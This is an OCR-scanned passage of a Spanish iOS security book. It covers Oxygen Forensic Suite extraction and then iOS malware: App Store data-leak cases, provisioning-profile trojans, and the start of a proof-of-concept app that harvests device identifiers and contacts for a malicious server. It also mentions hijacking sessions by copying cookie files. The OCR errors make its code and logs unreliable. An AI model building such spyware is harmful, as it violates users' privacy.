lizaran algunas de las mas importantes. como pucden ser Facebook, Twitter, y FourSquare. Hay
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que decir que Oxygen Forensic Suile afiade un mayor nliimero de aplicaciones de este tipo dentro de
su analisis de las que analiza gran cantidad de caracteristicas en cada una de ellas.

Para cada una de las aplicaciones sociales que reconoce Oxygen Forensic Suite (y son decenas de
ellas). la herramicnta mostrard las publicaciones, los amigos, los mensajes publicados en privado y
se podra obtener de cada una de ellas Ia lista de usuarios y/o contrasefias (si las hubiera) configurados
en cada una de dichas aplicaciones.
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Imagen U6.16: Dulus extraidos del dispositive referentes a Twitfer.

Dropbox

El popular servicio de sincronizacion de ficheros en la nube Dropbox también es capaz de ser
extraido por Oxygen Forensic Suite, la posibilidad de ver informacion a modo de previsualizacion
de los ficheros transferidos a csie popular servicio puede ser de gran utilidad.

Diccionarios

En los terminales i2S los datos del corrector y el predictor de palabras se almacenan en el dispositivo.
Estos datos permiten ver las palabras tecleadas gue alguna vez han sido tecleadas en el dispositivo,
casi a modo de kevlogeer, y con Oxygen Irorensic Suire es posible cxlracr este diccionario,

Esas palabras permiten descubrir lugares, contrasefias tecleadas, o mensajes que sc hayan podido
enviar por medio de algtin sistema, incluso dc scguridad. Para poder sacar mejor provecho de este
diccionario, la herramienta ademas cuenta con un simulador de frases que, utilizando la cronologia
intenta dar senlido al diccionario. Hay que recordar que esas posibles frases son solo cso, posibles
frases que no tienen porqué haber sido escrilas en ese orden, pero que tal vez puedan ayudar a
responder a alguna cuestién concreta. Como se muestra en la imagen de la captura se incluye un
simulador de frascs, scgin €l orden cronologico simula una posible frase.
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Imagen 06.17: Vista del diccionario de Oxigen Forensic.

Aplicaciones

Cada dia van saliendo nuevas aplicaciones, v el equipa de Oxygen Forensic Suite va analizando todas
v cada una de las més populares. No obstante, puede que alguna aplicacion no haya sido analizada,
0 que se tenga interés en analizar en detalle algunas de ellas para sacar mas informacion. Para ello,
en el panel de aplicaciones va a ser posible acceder a todos los ficheros que €stan dentro del bundle
de la aplicacién en el sistema, y se clasificaran en formatos. Asi, sera posible ver el archivo SOLite,
Plist o XML que utiliza una detcrminada App para inlentar sacar mas informacion manualmente,

Para revisar estos ficheros se acompafian visores para SQLite, para ficheros Plist y Bplist, editores
de texto para ver ficheros TXT o de datos, e incluso editores hexadecimales que hacen el analisis
mas comodo.
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Si una aplicacién en concreto fuera de intercs cn cl analisis, bastaria con situarse en la zona
correspondiente y seleccionar los archivos que se quieran escrutar.

Aplicaciones de malware y spyware
Como es posible ver en el capitulo dedicado al malvare dentro de este libro, existen muchas
allernativas para troyanizar un terminal iPhone, y muchas de ellas son en equipos con .Jailbreak.

Oxygen Forensic Suite analiza las apps que se encuentran en un terminal, ya sea con Jailbreak comao
sin Jailbreak. Bspecial es el caso de una investigacion forense, y un terminal con Jailbreak. En dicho
caso hay que dedicar especial atencién a este tipo de software malicioso que puede estar instalado
en el disposilivo.

Olectadoriatin

Timagen 06.19: Algunas gpps de spywarne reconocidas por Gvigen Forensic Suite.

En la tltima version hay una gran cantidad de ellas en la seccion spyware, pero sicmpre hay que
revisar bien todas las apps, no sea que cn alguna de ellas estuviera alguna de las nuevas herramientas
que se crean dia a dia para instalar malware en el dispositivo, o algin mahvare dirigido en el mismo.,

Explorador de archivos

Si se sigue hajando el nivel de acceso. sc puede Lratar lodo el terminal como un tnico sistema de
[ichervs, sin pensar qué archivos pertenecen a qué apps o a qué parte del sistema. Esto ¢s ttil cuando
se buscan determinados documentos o determinado tipo de archivo del que se quiera extraer un dato
especial.

Oxygen Forensic Suite proporciona una interfaz coémoda para ello, destacando para los usuarios
mas avanzados, la cxistencia de las pestaiias que listan automaticamente archivos de fipo imagenes,
audio, videos, archivos de bases de datos. y demas carpetas. Esto es extremadamente til cuando no
se conoce la estructura de ficheros del sistema operativo y se husca algo cn concreto, La siguiente
caprura muestra un ¢jemplo de navegacion intuitiva de ficheros.
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DOCO008C: <string>0</string> _EE
. ’

Desde esta intertaz es muy comodo buscar datos concretos. Por ejemplo, uno de los tipos de ficheros
que no aparecen son los hinarveookies. Seria posible elegir un punto de la estructura de carpetas v

realizar una biisqueda para descubrir que apps tienen sesiones abiertas, y por lo tanto saber cudles
podrian ser secuestradas desde otro dispositivo simplemente copiando estos ficheros.

Logs de actividad del dispositivo iOS

Como 1ltimo paso en el descenso de nivel, es posible obtener aun mas datos si cabe, con la
informacion de lo que ¢l usuario ha hecho en el teléfono revisando los logs del dispositivo. En este
apartado es posible incluso determinar qué tecla ha sido pulsada y en qué momento fue hecho.

Por supuesto, no es ficil el interpretar todos estos datos, y puede que el volumen de informacion que
aparezca a lo largo de un gran periodo de tiempo o se haya perdido, o sea de una magnitud ingente,
pero cs posible tener estos datos, tal ¥ como se muestra a continuacion en la siguiente captura de
pantalla.
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Dmesglog | Dumpsysiog | Logeatiog |
B 11 £ '3:22:25 | [andmgr_ c:process audmgr callback] DISAELED
ﬁ 1772 4 3:23:27 .k.y event .thy:nd-;lsa, pressed:1), w=i
E 1773 4 3:23:27 :II:." event (keycode:l3E, pressed:0), w=1
[5‘"_ i.'r'u 4 .3:24:17 Icev event (keycode:158, pressed:1l), w=l
E 1775 4 .?3:24:17 ‘tey event (keycode:158, pressed:0), w1
@ 1796 5 '3:24:3% 'k.y event i.inyea:h:l.sa,”pn-lldzli, w=1
@ 5.‘71;! 4 .3:24:33 keay event (keycode:158, prasasd:0), w=l
. :.!.71'5 4 .3:24:10 key event (keycode:158, pressed:1), wwl
. ‘1779 4 3-24-40 kay svent (kaycode-158, pressed:0), w=1
T17e0 4 .3:24:10 :kl]r event ﬂ.)‘\:ud.rl!.!:, pz!ls!d::l.],- W=l
1781 4 |a:24:20 keay svent (keycocde:1S5€, pressed:Q), w=l
B : & 3:24:40  key event (kaycode:158, pressed:l), w=l
] .3:24360 kqv event (keycode:158, pressed:0), w=l
'y :.3:'21:!3 Ekn']p' event (kaycode:158, pressed:1l), w=1
4 "12:24:42  |kmy mvent (keycode:158, prassed:0), wel
4 \3:2i:42 ”kly svant i(keycode:158, pressed:l), w=l1
= 23:26:12 '5]“? event (keyccde:158, pressed:0), w=1
' \3:24:13 I'qu event {(keycode:-158, pressed:1), s.EI.-
4 3:24:43 :k-y svent u:-ymd-:isa,' pressed:0), w=i

Imagen 06.21: Vista del fichero Jog del dispositivo.

Generacion de informes

Por supuesto, como herramienta profesional que es, Oxygen Forensic Suite permite generar multitud
de informes a alto nivel, v por ello, en todas las partes de la herramienta se pueden ir marcando datos
como evidencias para que aparczean en los diferentes tipos de informes que puedes ser exportados
0 impresos.

. El botén de exportacidon permite imprimir este informe en un cémodo fichero PDF, XML, H'T'ML,
RTF, XL.S 0 CSV, y baslara con realizarlo desde la seccidn gue interese imprimir en cada uno de los
casos.

3.Conclusion y soporte

COhygen orensic Svite es una de las mejores herramicntas comereiales con mayor proyceeion en ¢l
mercado de las soluciones de Analisis Forense Movil basadas en extraceidn via un anlisis [dgico.

Sumando una interfaz amigable, informes completos, y un ahorro de tiempo junto a la imposibilidad
de cometer un fallo a la hora de ejecutar una invesligacion hace que esta herramienta sea indispensable
para cualquier analista u organizacion que necesita realizar multiples extracciones o investigaciones.
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Recientemenie la aplicacion ha sido traducida al castellano. la tinica herramienta que tiene soporte/
interfaz en la lengua de Cervantes. El soporte y venta del producto se puede reahzar a través del
canal de Espafia y Latino América visitando la web del partner oficial wa :,‘

Las constantes innovaciones, actualizaciones que incorpora el equipo humano de Oxygen FForensic
Suite le hace ser una de las mejores opciones para realizar andlisis forense de manera ficil y rapida
en este apasionante mundo.

Para la version en Castellano y obtener soporte o informacién se debe contactar con el partner de
Oxygen forensic Suite I'nigmaSec.com. Ellos son los responsables de la traduccion y para las ventas
en el territorio espaiol y en determinadas zonas de América Latina.

A su vez Lambicn es posible visitar la pagina oficial del praducto en Afip:/Avvww Oxygen-forensic.com
donde se podra obtener la demo del producto durante 30 dias y sin apenas limitaciones, a excepcion
del numero de ejecuciones v la prohibicidn de utilizar la herramicnta para fines comerciales.

Cabe destacar la existencia de diferentes tipos de licencia, incluyendo una versidn apoyada en un
licenciamiento por UISH pudiendo asi tener la herramienta instalada en diversas maquinas incluyendo
el soporte en VMWare.
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Capitulo VII
Malware en iOS

b
th

.Introduccion

Elmodelo de negocio de Apple se sustenta no solo en las funcionalidades y opciones de sus productos,
va sean hardware o software. sino en una imagen de prestigio, reputacion, calidad, etcétcra, que
0s usuarios perciben respecto a los dispositivos 10S. Si ademas, se suma esto a que la App Store
actiia como una especie de “antivirus™, el resultado es que muchos usuarios viven creyendo, que el
sistema operativo de su terminal, o de su tablet, es infalible v que no corre riesgos de ser infectado
por malware,

En 108, al igual que en ofros sistemas operativos, existen vectores de amenazas, como virus, gusanos,
ataques de phishing, troyanos, exploits, y en general, malware. Lo que ocurre en este caso, es que la
imagen que los de Cupertino ofrecen sobre su sistema operativo mavil, hace pensar que no existe el
malware en 108, pero la realidad es muy distinta.

A continuacion se comentard un poco mds en el detalle de, ¢c6mo Apple criba las aplicaciones que
se suben a la App Srore, y es que. aunque ya se sabe que no existe seguridad al 100% o completa,
esta constituye un obsticulo mas, para dificultar el camino de los atacantes/hackers al llevar a cabo
- acciones maliciosas.

En esta linea de poner obstaculos a los atacantes para dificultar la explotacién, Apple ha ido
incorporando diferentes medidas de seguridad para mitigar las posibles amenazas. Se esta hablando
e medidas como reduccién de la capa de ataque o :
~en aplicativos web), reducir o simplificar ¢l sistema operativo, esto es tambnén conocido como
(como por ejemplo reducir las opeiones de la shell, o eliminar muchos de sus
qecutabics) separacion de privilegios (tipico en sistemnas UNIX), y otras téenicas ya conocidas en
-navegadores web, como ASLR o Sandboxing.

Pero la medida que se va a tratar ahora es la que se conoce como “Code-Signing”, y que no es mds
gue un filtro o revisién que realiza Apple de las apps de terceros que se intentan subir a la App Store.
LUna vez que las apps han pasado dicha revision, cs decir, que han sido aceptadas por Apple, una
entidad certificadora de confianza o CA, que en este caso es la propia Apple, firma (con su clave
‘privada) binarios y librerias, antes de que el kerne/ permita su ejecucion. Ademas, solo las paginas
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de memoria que provengan de fuentes firmadas podrén ser ejecutadas. Todo esto conlleva a varias
conclusiones:

- No se puede descargar, instalar o ejecutar software malicioso.

- Las apps no pueden cambiar su comportamiento dindmicamente o autoactualizarse por
si mimas.

- Solo se pueden descargar apps de la App Store, v este es uno de los principales motivos
por los que los usuarios realizan el Jailbreak a sus disposilivos, ya que de esta manera,
pueden saltarse el Code-Signing, e instalar y ejecutar aplicaciones no firmadas.

- Apple actia de antivirus, y es muy dificil infectarse de malware. y por tanto existen pocas
muestras de malware conocidas.

- Otro impacto del Code-Signing es que complica la explotacién. Un exploit que ejecute
codigo en memoria, podria intentar descargar o gjscutar codigo u otras aplicaciones maliciosas,
pero esto sera denegado, ya que no estan firmados. Por este motivo, los exploits estaran
limitados a los procesos explotados originalmente (a menos que ataquen otras caracleristicas
del dispositivo).

La App Siore cuenta. segin los datos de la altima WWDC 2012 keynote de Apple, con mis de
650.000 apps vy se han realizado mas 30.000 millones dc descargas. Pero a pesar de las elevadisimas
cifras que maneja Apple, en cuanto al numero de apps, descargas servidas, numero de cuentas de
clientes (400 millones), y en contra de lo que se pueda pensar, €l nimero de muestras de malware
conocidas en i(S es muy reducido. Y esto es en gran parte debido a que la propia App Store actiia a
modo de antivirus.

El malware existe en iOS, y casos de fuga de datos estan o han estado a la orden del dia. Ya quedd
demostrado con la prueba de Charlie Miller, que aunque la App Store actia a modo de antivirus, y
existen pocas muestras de malware conocidas, el filtro de los ingenieros de Apple no es infalible,
y por tanto hay que estar alerta en cuanto a como las apps utilizan los datos confidenciales de los
usuarios, y como a veces pueden vulnerar la privacidad del propietario del dispositivo.

2. Troyanos en la AppStore

Conseguir introducir un troyano en un terminal a través de la App Store es harto complicado, debido
a las revisiones de funcionalidades y controles que se realizan. sin embargo, no es imposible. A lo
largo del tiempo se han visto casos en los que se introduce un malware en 1a App Store que acaba en
un terminal, 0 gpps aparentemente normales que tenian funciones que atentaban contra la privacidad
de los usuarios. A continuacién se van a presentar varios casos reales de malware o fugas de datos,
a lravés de aplicaciones que han estado en la App Store.
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Find And Call

Un caso ampliamente conocido, es el de la aplicacion Find And Call que robaba agendas de contactos
sin conocimiento o consentimiento alguno por parte del usuario, tal y como se aprecia en ¢l codigo
fuente de la app:

oA WL, —ToT17_AIGBC - Gx1SE7CI

LDR. W A3, -|_kABPersonFirsiNameProperty pir - B215E7E)
ADD Rl. PC

ADD R3, PC

1 DR.W R11, (]

LDR A, [R3)

LOR. W A3, =|_kMBPersonLastNameProperty_ptr - Ex1SEBC)
LOR Rl, [Rl1]

ADD A3, PC

ETR Rl, [5P.#Z0x94+var_&d]

LDR R1, [PR3E]

LDR.m A3, =|_kABPersonMiddleNameProperty ptr - Bx15E9H]
LDA Rl, [A1]

ADD R3. PC

STR Rl, [SP,#0x94+var_s0]

LOR Al, [R3]

LDR. W A3, =| kABPersonBirthdayProperty ptr - Ox15EA4)
LOR Rl, [RL]

ADD R3, PC

5TR Rl, [5P.®0x94+var_5C]

LOR A1, [A3]

LOR.wW R3. =|_kABPersanOrganizaticnProperty ptr - Ox1S5EEEB|
LDOR RL, [RL]

ADD A3, PC

ETR Al, [SP.#0x34+var_54]

LOR AL, [A3]

LDA.W R3, =|_kABPersandobTitleProperty ptr - Ox13EAC)
LDR AL, [RL]

ADD A3, PC

ETR A1, [SP,#0xS94+var_4C]

LOR Rl, (R3]

LOR.W A3, =|_kABPersanPhoneProperty_ptr - BEx13ECHE]
LOR AL, [A1]

ADD A3, PC

SR Al, [SP, ¥8x94+var_44)

LOR AL, (&3]

LOR W A3, =l_kABPersonEmailProperty_ptr - Ox15ED4)
L3R R, [Al]

AJD A3, PC

SR Al. [SP,#¥Ox94+var_3C]|

LOR Al. [R31

LOR. W A3, =(_kABPersanUALProperty_ptr - Ox1SECD)

L3R AL, [A1]

ADD A3, PC

STR A1, [SP,¥Bx94+var 38

LOR AL, (R3]

LDR. W A3, =[_kABPersonInstantMessageProperty_ptr - Bx152ECH

Storm8 y sus juegos

0 caso, conocido como el primer gran escandalo de robo de datos, fueron los jucgos de la
mpafita Storm8. como Vampires Live, Zombies Live, Rockstar Live, Kingdoms Live, Racing Live,
iMobsters, Warld War, etcétera, que robaban tanto las agendas de contactos de los usuarios, asi como
os datos confidenciales como UDID, correo electronico, nombre del registro en el juego, ndmero
teléfono, etedtera. A continuacion se muestra una captura del log del juego Fampires Live:
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11251184711.309 B44 10.0.10.22 TCP_MISS/200 1425 GET http://vl.stormé.com

/points. phpiversion=1.52Budid=0ee5eb4df5b0dbBf947 fBad4aaec361552041ck
pf=62DE19A7ASAG241B58B5768781ECIEAFETpts=10&pnum=0414%206 10%20500&model=iPhone&
sn=iPhone%2005&sv=3.0 - DIRECT/67.228.117.55 text/htinl

42511B4712.092 783 10.0.10.22 TCP_JMISS/200 1660 GET http:/ /static.stormB.comivl/ js
/giobal.jsiv=147 - DIRECT/198.142.23.102 application/x-javascript

1251184712.839 1373 10.0.10.22 TCP_MIS55/200 4013 GET http://static.storm8.cam/vl/css
/global.css?ve147 - DIRECT /198.142.23.102 text/css

1251184713, 207 219 10.0.10.22 TCP_MIS5,/200 640 GET http://static.stormB.com/vl/images
/btn¥adbg.png - DIRECT/198.142.23.102 image/png

1251184714.023 1184 10.0.10.22 TCP_MISS/200 13737 GET http: / /static.stormB.com/vl/images
/.0g0.pnglv=147 - DIRECT/198.142.23.102 image/png

Inside the actual data streams, you will see something similar to this:

GET http://vl.storm8.com/points.phpiversion=1.52&
udid=0ede5eb4df5bichBf947IBad49aaec3ist 552041 chpf=62DE49A7ASAG241 85BBI7687RIECIEAFE
fpts-10&pnum=0414%20610%20500Emodel=iPhoneks

Host: vi.storm38.com

User-Agent: Mozilla/5.0 (iPhone; Li; C2U iPhone 05 3_0 like Mac O X; en-us) AppleWebKit/528.18
(KHTML, like Gecko) Mobile/74341

Accept: application/xm i,applimhm!xhlmhxml,':ext!hlml;q=0.9,textfpl.ain:qa9.-s, imaga/png,*
1*:q=0.5

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: keep-alive

Proxy-Connection: keep-alive

Imaugen 07.02: Log de la aplicacidn Fampires Lives de la empresa Siurms.

Path, Twitter y otras apps socials

Aqui no acaba la cosa, otro caso conocido fue el de Path. El investigador Arun Tamphi, intentando
realizar un port de la app a OS5 X, usd un proxy para ver las peticiones a la API, ¥ descubri6, que la
app enviaba todos los datos de la agenda a los servidores de Path, sin permiso previo del usuario.
Las siguientcs imagenes son una captura de la peticién que realizaba Patl a los servidores:

2012-$2-08 @1:24:31 POST hittps://api.path, com/3/contocts/add
2012-02-08 91:24:32 < 200 application/x-plist, 55B

Request

Host: api . path, com

Usep-Aganit: Path/2.8.5 CPNetwork/548,0.4 Darwin/11.0.8
Content-Length: 11384

Accepk: e

Authorization: bosic [ e
Content-Type: miltipart/form-data; boundarye—-—---SAFE2000-0BOA-4280-914C-2E48DIFAIGES
Accapt-Chorset: utf-8

¥-PATH-CLIENT; 108/2.08.5

Tmagen 07.03: Peteion de Path que enviaba todos los datos de la agenda de contucios o los servers. (Parte 1).
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X-PATH-CLIENT: 105/2.8.5
X-PATH-TIMEZONE : Asia/Singapore
X-PATH-LOCALE: en SG
X-PATH-LANGUAGE ¢ en
Accept-Language: en-us
Accept-Encoding: gzip, deflote
Cormection: keep-alive

Proxy-Connection: kasp-alive

=== ~QBFEI(H9 -BHOA-4280-914C-2E4B0OF AGEE ICantent~Disposition: form-dota; name="post"Content-
o T L T e e - I

[magen 07.03: Peteion de Paih que enviaba todos los datos de la agenda de contactos a los servers. (Parte 2).

¥ la lista continia, ya que incluso grandes como Tivifter, también se han visto envueltos en escandalos
similares con el tema de los contactos, debido a que cuando los usuarios utilizaban la opcién buscar
~amigos. sus contactos pasaban a ser de Twitfer durantc 18 meses. A continuacién se muestra una
captura de la opeion en la app de i0S:

>

nd friends b L
- ST = =

Imagen 07.04: Opeion de “Buscar amigos™ que enviaba los cortzctos a Tiiiter.

‘Ademds muchas empresas, como Viber, FourSquare, Instagram, Hipster, han tenido problemas
similares. Para finalizar este punto, simplemente decir, que en la mayoria de los casos presentados
anteriormente y para colmo, los datos se enviaban sin cifrar, lo que deja claro que los controles de
ia App Store no son perfectos.

Un malware dirigido por la App Store: InstaStock

Sin embargo, la prueba mis importante de que se puede hacer un ataque de malware a través de la
App Store 1o hizo el mvestigador Charlie Miller, quien consiguio introducir una app con funciones
de dropper que descargaba software malicioso desde Internet sin pasar por la firma de Apple.

No obstante, la mejor forma de utilizar la App Store para hacer un software malicioso serfa crear
un soltware adictivo y recomendable (por ejemplo un juego que luviera un coste), que pudiera ser
regalado a las personas que se quiera troyanizar. y que tenga funciones dormidas que solo se activen
en determinadas circunstancias, como por ejemplo con un determinado UDID o cuando llegue un
mensaje oculto, por ejemplo, por medio de una imagen con esteganogralia cargada desde Internet.

Por supuesto, este seria un ataque costoso, pero visto los casos de Find And Call, InstaStock o las
aplicaciones sociales, es méas que lactible poder realizarlo.
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InstaStock

Add a Ticker _ 2510.46

1170.87

011 10:25am

Cancel

a]w]elr]r]v]u]t]o]P
Als]o]Fla]u]u]k]L
< BREOR0O0

Imagen (017.05: InstaStock.

3. Troyanos sin AppStore

No solo es posible distribuir aplicaciones a terminales iPhone o iPad pasando por la App Siore, ¥
software de espionaje muy popular como FinSpy, utiliza estos sistemas para troyanizar terminales
iPhone. La idea cs muy scneilla, consiste en convencer al usuario de que instale una aplicacion
que se ha distribuido utilizando un provisioning profile, cs decir, un certificado de despliegue de
aplicaciones generado a partir de un certificado de desarrollador oficial Apple que permite instalar
una app concrela en un dispositivo concreto, este es el proceso para construir un malware en este
entorno.

Troyanos con Provisioning Profiles

Es un tema de sobra conocido en la comunidad, tanto por los investigadores de seguridad, como
por algunos desarrolladores o administradores de flotas de dispositivos a nivel corporative, que ¢s
posible instalar una aplicacion i2S, (es decir un fichero con extensién .ipa), en un dispositivo iOS,
creando un perfil especifico para dicho dispositivo. De estu forma lan simple se podran. instalar
aplicaciones no firmadas por Apple.
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Este es el método utilizado por los desarrolladores para distribuir el software que estén desarrollando
a un grupo de fesrers. Los desarrolladores que pagan la licencia (80 €/afio) y forman parte del
Programa de Desarrollo de i0S, tienen tres tormas de distribuir sus creaciones. La primera es a
través de la App Store, la segunda ofreccrlas directamente a empresas. y la tercera la que se denomina
Ad-Hoc Distribution.

Es esta ultima opcion, la que los desarrolladores utilizan para testear sus apps, va que este método
permite compartir una app con hasta cien dispositivos, bien a través de correo electronico, o bien
subiéndola a un servidor. Para ello es necesario, acompafiar la aplicacion o .ipa, de un Perfil de
Aprovisionamienta (Provisioning profile), también conocidos como Perfiles de Datos, ya que
permiten la instalacion de software en el dispositivo, mientras que hay otro tipo de perfiles, que son
los Perfiles de Configuracion, y que se utilizan a nivel corporativo con un sistema MDM (Mobile
Device Management), para configurar y gestionar una flota de dispositivos iOS.

Existen varios tipos de Provisioning profile, como puede ser de desarrollo, de distribucion, de
distribucion corporativa, y cada uno de ellos tiene caracteristicas diferentes, pero para la prueba de
concepto, lo ideal es utilizar un Perfil de Distribucién (Distribution Provisioning profile). Un perfil
de distribucion se compone de un nombre, de un conjunto de certificados de desarrollador, de una
lista de identificadores de dispositivo (UDID), y de un identificador de aplicacion (4pp 1D).

Dicho todo esto, queda claro que, teniendo una licencia de desarrollo, y sabiendo el identificador
de dispositivo UDID, se puede crear un perhl de aprowsmnaamento que pei lmta msl.alar soﬁware
sin firmar por Appi 1ma ’ :

Construyendo un malware

Llega el momento de realizar la prueba de concepto de coémo implementar un malware en iOS. Esta
prueba de concepto se basa en fugas de datos confidenciales, al igual que ha ocurrido historicamente
en varias apps existentes en la App Store. mencionadas anteriormente. En conereto el robo de 1a
agenda de contactos o de identificadores tnicos del dispositive, como UDID, IMEL etcétera.

La idea de esta prueba de concepto, es desarrollar una aplicacidn que acceda a este tipo de datos, y
que sean enviados a un servidor (HTTP End Point), previamente montado y configurado para recibir
y almacenar en fichero o en una base de datos, la informacién enviada por cada dispositivo en el que
se gjecute este malware.

Para el desarrollo de esta POC, es necesario por un lado el desarrollo, tanto de la aplicacion cliente
en i0S, en donde se realiza el roho de datos, como la aplicacion web o servidor, a donde se envian
los datos sustraidos, Ademads, y una vez que todo el sistema estd implementado, hay que realizar la
distribucidn de la aplicacidn, pero eso se detalla en el siguiente apartado.
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Client side (i0S)

Como dirfan en algiin buen blog de programacion /08, “Show me the code!”. Es el momento de ver
como implementar el codigo que accede a csos codiciados datos confidenciales, como pueden ser
1IDID, IMEL etcétera, o a los datos de la agenda de confactos. Sc va a dividir en tres apartados, el
primero acerca de identificadores (nicos de dispositivo, el segundo apartado acerca de la agenda de
contactos, v el tercer y ultimo apartado sobre ¢l envio de los datos a un servidor malicioso.

Identificadores tinicos

Ios identificadores tnicos son o han sido muy utilizados por los desarrolladores o empresas, para
identificar a los usuarios de sus aplicaciones, y asi poder ofrecerles publicidad, ofertas, vy de csta
manera obtienen la posibilidad. no solo de desarrollar sus campaiias de marketing, sino de ofrecerle
al usuario buscar amigos, conocidos, v en general establecer redes de contaclos, que aumenten la
experiencia de usuario, y por tanto la satisfaccion de estos, y probablemente el nimero de descargas.

De hecho, de ahi provienen muchas de las fugas de datos conocidas (algunas de ellas presentadas
anleriormente). Y hasta que no se han presentado demandas coleclivas, o Apple decide intervenir,
parece que las cmpresas no comienzan a dejar de lado estas malas practicas. Y cs que A pple, durante
el afio 2012 ha estado avisando a los desarrolladores que se alejasen de estas practicas, y finalmente
ha comenzado a rechazar apps que hagan uso del UDID. o que intenten enviarlo a sus servidores.

A continuacién un correo de Apple rechazando una app de la compafiia fapBors por hacer uso de
estas pricticas:

Rejected Mar 28, 2012 03:11 PM

Reasons for fRejaction:
17.1: Apps cannot transmit data shout & user without cbtaining Lhe user's prior permEdian and providieg the user with
wcoars to information about how and whera the data will be used ¥y

| Mar 28,2012 0% 11 PM. From Aadle.
11

W found yous app deus not obtain usst comsent befose pollacting thalr parsonal data, ss requirest by the Asp Stsve Review
Giichgtinas,

| Specificaily, UDID data |2 seat adeh the pushaapbots.com checks with thelr ssevice,

FTtEs £ pus  Rpsax.ocom | push o piions,
PR e ON = TOLONESEVCE_Moddelm PhoneFRICIBTE At Ariericalid Flos_jngeles &ap plication_tanguage~ EngiihEappEcaton K

Yo collecs personal wses daks with yosic apn, woo meust make (¢ clear to the uses that thels personal user data will be uploaded to your
surver and you must obtain the uss’s consanl befere tha data is uploadad

[magen 07.06: Corren de Apple rechazando una aplicacion de TapBors que have uso del UDID.

A partir del momento en que Apple comienza a rechazar apps. se empieza a ver en foros y webs de
programacion, como los desarrolladores intentan cambiar los métodos o 1¢cnicas para identificar a
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103 usuarios de manera univoca, es decir implementar lo gue se conoce como “tracking”, utilizando
fecnicas un poco mas refinadas que simplemente utilizar el UDID,

Algunos programadores o empresas incluso han publicado sus propios desarrollos para continuar el
seguimiento o tracking de los usuarios, una vez que Apple ha establecido como “deprecated” cl uso
del UDID, como por ejemplo:
- OpenUDID: Proyecto iniciado por Yann Lechelle (cafundador de Appsiire), y al que
se han ido incorporando muchos colaboradores, empresas, e incluso sc ha portado a otros
sislemas operativos, La web oficial del proyecto estd situada en github:§ ritinb.camil

- SecureUDID: Otro proyecto, con algunas diferencias respecto al anterior, pero en lincas
generales con el mismo objetiva. La web oficial del proyecto de crashiviies cs la Siguientp‘

-

A continuacion una pequefia comparativa de estas alternativas al clasico UDLD:

SecureUDID OpenUDiD uDiD -
Cross-app i
ideniification 2 4 &%
Distiniguizh #1 1
gevices o) = ‘# J
Aliow
erd-usar _‘-”_5 Lf !
opb-out
Sacura: )
accessible by o
domain orily

Linagen 07.07: Comparativa de allernutivas al ¢ldsica UDID.

Como se puede comprobar echando un vistazo a estos proyeclos, comienzan a aparceer alternativas
mas tobustas, que el simple uso del UDID. Se ven chdigos mds serios (tanto en estos proyectos,
como en otras alternativas propuestas por desarrolladores en los foros como stackoverflow), cn los
que se puede encontrar el uso de cifrados, hashes, semillas. veetores de inicializacion, y en general
algoritmos de generacion de identificadores tinicos que no dependan de datos confidenciales, o de un
usuario/contrasefia, v que ademas se envicn cifrados, ... En fin, como se decia anteriormen le, algo
mas serio, cstable v seguro.

Y después de esta pequeita introduccidn al mundo de los identificadores linicos, v como se dijo al
principio del apariado, es hora de mostrar ¢l c6digo. A continuacion se muestra un método en el que
se accede a diferentes identificadores Unicos del dispositiva:
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- (void) readUniqueldentifiers {
NSLog(@"+ f : I

NSLog{@"Reading device's ids...");

MSString *uuidString = nil;

CFUUIDRef wuid = CFUUIDCreate(NULL);

1f (uuid) {
/fuuidString = (__bridge NSString =)CFUUIDCreateString(NULL, wuid);
uuidString = (NSString =»)CFUUIDCreateString(NULL, uuid);

3 CFRelease(uuid);

NSLog(@"UDID with CF classes is: %@",uuidString);

// Classic method.
NSString =udid = [[UIDevice currentDevice] uniqueIdentifier];
MSLogl(@"UDID is: %@",udid);

// Alternative 1 (NSUUID class).
NSString sudidi = [[NSUUTR UUID] UUIDStringl;
NSLog(@"NSUUID is: %@",udidl);

// Alternative 2 (UIDevice class}.

NSString +udid2 = [[UIDevice currentDevicel identifierForVendar]:
NSLogl@"Identified for vendor is: %@",udid2);

£/ Alternative 3 [ASIdentifierManager class, requires AdSupport framework):
NSUUID *UUID = [[ASIdentifierManager sharedManager] advertisingldentifier];
NSString *udid3 = [UUID UUIDStringl;

NSLog(@"Advertising identifier is: %@",udid3);

NSLog(@" : . ok kb otk )
|} NSLog (@"\n\n");

Imagen 07 08: Mélodo implementado para acceder 4 identificadores anicos de dispositivo,

Para utilizar este método, el imico requisito previo, serd importar el framework AdSupport, para poder
utilizar la alternativa 3, en la que sc accede al identificador relacionado con temas de publicidad o
el uso de la plataforma iddvertisement. Una vez que se ejecute el cddigo se obtendrd un resultado
similar al que se puede apreciar en la siguiente captura:

Reading device's ids...

UDID with CF classes is: 19CD456B-E7B3-4146-B7AC-A7D4GOFDFIFS

UDID is: 7adde7ed28845272879467c7401c750260888008

NSUUID is: 627BEE7@-DELD-498B-B81C-313339A8ADDE

Identified for vendor is: = NSConcreteUUID Bx849aad8> 20235D55-2E77-4A48-8450-8EDB544D66E6
Advertising identifier is: 56F3E34B-A52C-4E7A-B4CA-B912BA2E41BB

Tmagen (7.09: Salida por consola del método que extrae varios identificadores tnicos de dispositivo.

Estos identificadores se han obtenido con el Simulador de iPhone de Xcode, pero se pueden extraer
los mismos datos de un dispositivo real.
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ding device's ids...
BDID with CF classes is: 19976B95-B18C-44AB-BEYB-3IF33891D30BE
BDID is: 1a2775699828c473cledl4fdbcfBc36a0b350a67

ID is: 45885329-8833-3736~-89E8-CESCDAFGGOSE

dentified for vendor ic: < NSConcreteUUID Bx1fB76950> 715EF4AC-6177-4REE—-8DB4-SABBFIECERED
dvartising identifier is: 3B7882BE-6184-475D-EASE-863743D3ICB5C

P I S T AT R

Imagen 07.10: Salida por consola con un iPhone 45.

ultimo cabe decir, que existe otra opcidn para realizar el tracking, y es la de utilizar el nuevo
D, pero como sc comentado en la comunidad /OS, no es del todo una buena opeién, ya que solo
dentifica una instancia de la aplicacion, y no al dispositivo, por lo que en caso de eliminar la app, y
mstalarla de nuevo no hay forma de enlazarla o mantener el seguimiento (tracking).

Address Book

ora loca ver queé opciones propone Apple a los desarrolladores para acceder a los datos del
dispositivo. Lin esta prueba de conceplo se ha desarrollado un codigo que accede a la agenda
de contactos, ademas de acceder a los identificadores tnicos, v posteriormente se envia toda la
informacion a un servidor malicioso. .

Se podria profundizar en detalles de como funciona el framework que Apple pone a disposicion de
desarrolladores para trabajar con la agenda de contactos, llamado 4 ok framework] pero
